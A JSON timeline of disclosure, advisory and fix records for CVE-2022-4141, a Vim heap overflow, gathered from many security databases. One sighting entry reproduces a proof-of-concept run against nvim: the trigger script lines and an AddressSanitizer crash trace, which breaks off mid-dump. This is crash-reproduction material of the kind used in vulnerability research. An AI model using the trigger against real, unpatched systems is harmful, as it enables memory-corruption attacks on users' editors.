{"metadata": {"vulnerability": "CVE-2022-4141", "count": 67, "kinds": {"milestone": 15, "sighting": 2, "kev": 0, "other": 50}}, "data": [{"timestamp": "2022-11-02T00:00:00Z", "date_only": false, "value": "2022-11-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-11-25T00:00:00Z", "date_only": false, "value": "2022-11-25T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-4141", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-11-25T00:00:00Z", "date_only": false, "value": "2022-11-25T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2022-4141", "field": "cveMetadata.dateReserved"}, {"timestamp": "2022-11-25T14:15:00Z", "date_only": false, "value": "2022-11-25T14:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-W2Q9-J8V8-2GF2", "record": "GHSA-W2Q9-J8V8-2GF2", "field": "database_specific.nvd_published_at"}, {"timestamp": "2022-11-25T14:15:00Z", "date_only": false, "value": "2022-11-25T14:15:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2022-4141", "record": "UBUNTU-CVE-2022-4141", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-11-25T14:15:00Z", "date_only": false, "value": "2022-11-25T14:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2022-4141", "record": "GSD-2022-4141", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2022-11-25T14:15:10.737Z", "date_only": false, "value": "2022-11-25T14:15:10.737", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-4141", "record": "FKIE_CVE-2022-4141", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-11-25T15:30:21Z", "date_only": false, "value": "2022-11-25T15:30:21Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-W2Q9-J8V8-2GF2", "record": "GHSA-W2Q9-J8V8-2GF2", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-11-25T16:15:20Z", "date_only": false, "value": "2022-11-25T16:15:20.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/53494", "record": "CVE-2022-4141", "field": "creation_timestamp", "uuid": "affa2acd-3800-4d83-bcdc-fa148227e83f", "content": "\u203c CVE-2022-4141 \u203c\n\nThe target's backtrace indicates that libc has detected a heap error or that the target was executing a heap function when it stopped. This could be due to heap corruption, passing a bad pointer to a heap function such as free(), etc. Since heap errors might include buffer overflows, use-after-free situations, etc. they are generally considered exploitable.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "url": "https://t.me/cibsecurity/53494"}, {"timestamp": "2022-11-27T23:00:00Z", "date_only": false, "value": "2022-11-27T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-11-27T23:00:00Z", "date_only": false, "value": "2022-11-27T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-11-27T23:00:00Z", "date_only": false, "value": "2022-11-27T23:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "vulnerabilities.0.release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-11-29T00:00:00Z", "date_only": true, "value": "2022-11-29", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2022-86379", "record": "CNVD-2022-86379", "field": "submitTime"}, {"timestamp": "2022-12-01T00:00:00Z", "date_only": false, "value": "2022-12-01T00:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-12-01T00:00:00Z", "date_only": false, "value": "2022-12-01T00:00:00.000Z", "kind": "other", "label": "Updated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "document.tracking.current_release_date"}, {"timestamp": "2022-12-01T00:00:00Z", "date_only": false, "value": "2022-12-01T00:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event"}, {"timestamp": "2022-12-05T23:00:00Z", "date_only": false, "value": "2022-12-05T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2022-12-06T00:00:00Z", "date_only": true, "value": "2022-12-06", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2022-86379", "record": "CNVD-2022-86379", "field": "openTime"}, {"timestamp": "2022-12-09T11:05:27Z", "date_only": false, "value": "2022-12-09T11:05:27Z", "kind": "milestone", "label": "Published", "source": "osv_openeuler \u00b7 OESA-2022-2135", "record": "OESA-2022-2135", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-12-28T08:29:39Z", "date_only": false, "value": "2022-12-28T08:29:39Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2022:4631-1", "record": "SUSE-SU-2022:4631-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-12-28T08:29:39Z", "date_only": false, "value": "2022-12-28T08:29:39Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2022:4631-1", "record": "SUSE-SU-2022:4631-1", "field": "document.tracking.generator.date"}, {"timestamp": "2022-12-28T08:29:39Z", "date_only": false, "value": "2022-12-28T08:29:39Z", "kind": "other", "label": "Impact", "source": "csaf_suse \u00b7 SUSE-SU-2022:4631-1", "record": "SUSE-SU-2022:4631-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-12-28T08:29:39Z", "date_only": false, "value": "2022-12-28T08:29:39Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2022:4631-1", "record": "SUSE-SU-2022:4631-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-12-28T08:29:39Z", "date_only": false, "value": "2022-12-28T08:29:39Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2022:4631-1", "record": "SUSE-SU-2022:4631-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2022-12-28T23:00:00Z", "date_only": false, "value": "2022-12-28T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2023-01-23T23:00:00Z", "date_only": false, "value": "2023-01-23T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "document.tracking.revision_history.3.date"}, {"timestamp": "2023-01-24T23:00:00Z", "date_only": false, "value": "2023-01-24T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "document.tracking.revision_history.4.date"}, {"timestamp": "2023-01-30T16:25:05Z", "date_only": false, "value": "2023-01-30T16:25:05Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2023:0209-1", "record": "SUSE-SU-2023:0209-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2023-01-30T16:25:05Z", "date_only": false, "value": "2023-01-30T16:25:05Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2023:0209-1", "record": "SUSE-SU-2023:0209-1", "field": "document.tracking.generator.date"}, {"timestamp": "2023-01-30T16:25:05Z", "date_only": false, "value": "2023-01-30T16:25:05Z", "kind": "other", "label": "Impact", "source": "csaf_suse \u00b7 SUSE-SU-2023:0209-1", "record": "SUSE-SU-2023:0209-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2023-01-30T16:25:05Z", "date_only": false, "value": "2023-01-30T16:25:05Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2023:0209-1", "record": "SUSE-SU-2023:0209-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-01-30T23:00:00Z", "date_only": false, "value": "2023-01-30T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "document.tracking.revision_history.5.date"}, {"timestamp": "2023-06-12T00:00:00Z", "date_only": false, "value": "2023-06-12T00:00:00.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / @huntrdev", "record": "CVE-2022-4141", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-06-12T20:15:00Z", "date_only": false, "value": "2023-06-12T20:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2022-4141", "record": "GSD-2022-4141", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-06-12T22:00:00Z", "date_only": false, "value": "2023-06-12T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "document.tracking.revision_history.6.date"}, {"timestamp": "2023-08-31T12:16:29.243Z", "date_only": false, "value": "2023-08-31T12:16:29.243878Z", "kind": "milestone", "label": "Published", "source": "osv_bellsoft \u00b7 BELL-CVE-2022-4141", "record": "BELL-CVE-2022-4141", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-08-31T12:16:29.243Z", "date_only": false, "value": "2023-08-31T12:16:29.243882Z", "kind": "other", "label": "Updated", "source": "osv_bellsoft \u00b7 BELL-CVE-2022-4141", "record": "BELL-CVE-2022-4141", "field": "modified"}, {"timestamp": "2023-08-31T12:16:29.243Z", "date_only": false, "value": "2023-08-31T12:16:29.243882Z", "kind": "other", "label": "Withdrawn", "source": "osv_bellsoft \u00b7 BELL-CVE-2022-4141", "record": "BELL-CVE-2022-4141", "field": "withdrawn"}, {"timestamp": "2023-12-13T01:19:16.039Z", "date_only": false, "value": "2023-12-13T01:19:16.039729Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-4141", "record": "GSD-2022-4141", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-04-04T22:00:00Z", "date_only": false, "value": "2024-04-04T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2024-04-04T22:00:00Z", "date_only": false, "value": "2024-04-04T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2024-04-04T22:00:00Z", "date_only": false, "value": "2024-04-04T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "vulnerabilities.420.release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2024-11-27T23:00:00Z", "date_only": false, "value": "2024-11-27T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2025-03-30T22:00:00Z", "date_only": false, "value": "2025-03-30T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "document.tracking.revision_history.7.date"}, {"timestamp": "2025-03-30T22:00:00Z", "date_only": false, "value": "2025-03-30T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-03-31T08:35:59.651Z", "date_only": false, "value": "2025-03-31T08:35:59.651+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2177", "record": "WID-SEC-W-2022-2177", "field": "document.tracking.generator.date"}, {"timestamp": "2025-04-14T15:27:43.792Z", "date_only": false, "value": "2025-04-14T15:27:43.792529Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-4141", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2025-04-14T15:27:43.792Z", "date_only": false, "value": "2025-04-14T15:27:43.792529Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-4141", "record": "FKIE_CVE-2022-4141", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-04-14T17:49:51.380Z", "date_only": false, "value": "2025-04-14T17:49:51.380Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-4141", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-07-10T00:00:00Z", "date_only": true, "value": "2025-07-10", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0585", "record": "CERTFR-2025-AVI-0585", "field": "vendor_advisories.1.published_at"}, {"timestamp": "2025-07-11T00:00:00Z", "date_only": true, "value": "2025-07-11", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0585", "record": "CERTFR-2025-AVI-0585", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2025-07-11T00:00:00Z", "date_only": false, "value": "2025-07-11T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0585", "record": "CERTFR-2025-AVI-0585", "field": "revisions.0.revision_date"}, {"timestamp": "2025-08-14T00:00:00Z", "date_only": true, "value": "2025-08-14", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0693", "record": "CERTFR-2025-AVI-0693", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2025-08-14T00:00:00Z", "date_only": false, "value": "2025-08-14T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0693", "record": "CERTFR-2025-AVI-0693", "field": "revisions.0.revision_date"}, {"timestamp": "2025-10-20T00:04:34.203Z", "date_only": false, "value": "2025-10-20T00:04:34.203Z", "kind": "other", "label": "Document generated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "document.tracking.generator.date"}, {"timestamp": "2025-11-03T20:35:07.051Z", "date_only": false, "value": "2025-11-03T20:35:07.051Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2022-4141", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-11-03T20:35:07.051Z", "date_only": false, "value": "2025-11-03T20:35:07.051Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2022-4141", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-11-03T21:30:45Z", "date_only": false, "value": "2025-11-03T21:30:45Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-W2Q9-J8V8-2GF2", "record": "GHSA-W2Q9-J8V8-2GF2", "field": "modified"}, {"timestamp": "2026-01-22T23:00:00Z", "date_only": false, "value": "2026-01-22T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-01-22T23:00:00Z", "date_only": false, "value": "2026-01-22T23:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-01-23T08:51:02.418Z", "date_only": false, "value": "2026-01-23T08:51:02.418+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-0794", "record": "WID-SEC-W-2024-0794", "field": "document.tracking.generator.date"}, {"timestamp": "2026-08-06T11:05:27Z", "date_only": false, "value": "2026-08-06T11:05:27Z", "kind": "other", "label": "Updated", "source": "osv_openeuler \u00b7 OESA-2022-2135", "record": "OESA-2022-2135", "field": "modified"}, {"timestamp": "2026-08-25T22:28:14Z", "date_only": false, "value": "2026-08-25T22:28:14Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2022-4141", "record": "UBUNTU-CVE-2022-4141", "field": "modified"}, {"timestamp": "2026-09-20T14:52:56Z", "date_only": false, "value": "2026-09-20T14:52:56Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2023:0209-1", "record": "SUSE-SU-2023:0209-1", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-09-20T14:52:56Z", "date_only": false, "value": "2026-09-20T14:52:56Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2023:0209-1", "record": "SUSE-SU-2023:0209-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-09-21T03:36:10.840Z", "date_only": false, "value": "2026-09-21T03:36:10.840625Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/zhuozhenwei/3b156844b7ebd31328c6d5ddf2278deb", "record": "CVE-2022-4141", "field": "creation_timestamp", "uuid": "df7d20ef-047d-4205-a4f5-92daf0b633f1", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_sub_expr_goto_other_file()\n\nline 18: \n\nline 19: call Test_sub_expr_goto_other_file()\n\ncalling Test_sub_expr_goto_other_file()\n\nline 1:   call writefile([''], 'Xfileone')\n\nline 2:   enew!\n\nline 2: unlet! b:keymap_name\n\nline 3:   call setline(1, ['Xfileone zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz', 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'])\n\nline 5: \n\nline 6:   func g:SplitGotoFile()\n\nline 10: \n\nline 11:   1\n\nline 12:   1s/\\ny*/\\=g:SplitGotoFile()/\n\ncalling SplitGotoFile()\n\nline 1:     exe \"sil! norm 0\\gf\"\n\nline 1: sil! norm 0^Wgf\n\nline 2:     return ''\n\nSplitGotoFile returning ''\n\ncontinuing in Test_sub_expr_goto_other_file\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141/CVE-2022-4141_nvim2[19]..function Test_sub_expr_goto_other_file:\nline   12:\nE315: ml_get: invalid lnum: 2=================================================================\n==9981==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000036ba at pc 0x0000004e0015 bp 0x7ffd1da00b90 sp 0x7ffd1da00358\nWRITE of size 53 at 0x6030000036ba thread T0\n    #0 0x4e0014 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014)\n    #1 0x73d502 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3936:11\n    #2 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #3 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #4 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #5 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #6 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #7 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #8 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #9 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #10 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #11 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #13 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #14 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #15 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #16 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #17 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #18 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #19 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #20 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #21 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #22 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #23 0x7f54f1c7f082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #24 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x6030000036ba is located 0 bytes to the right of 26-byte region [0x6030000036a0,0x6030000036ba)\nallocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x740268 in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3168:18\n    #4 0x73d4ed in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3931:21\n    #5 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #10 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #11 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #12 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #13 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #14 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #15 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #16 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #17 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #18 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #19 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #20 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #21 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #22 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #23 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #24 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #25 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #26 0x7f54f1c7f082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff8680: fd fd fd fa fa fa 00 00 04 fa fa fa 00 00 00 03\n  0x0c067fff8690: fa fa 00 00 02 fa fa fa fd fd fd fa fa fa fd fd\n  0x0c067fff86a0: fd fd fa fa fd fd fd fa fa fa 00 00 06 fa fa fa\n  0x0c067fff86b0: fd fd fd fd fa fa 00 00 00 03 fa fa 00 00 00 06\n  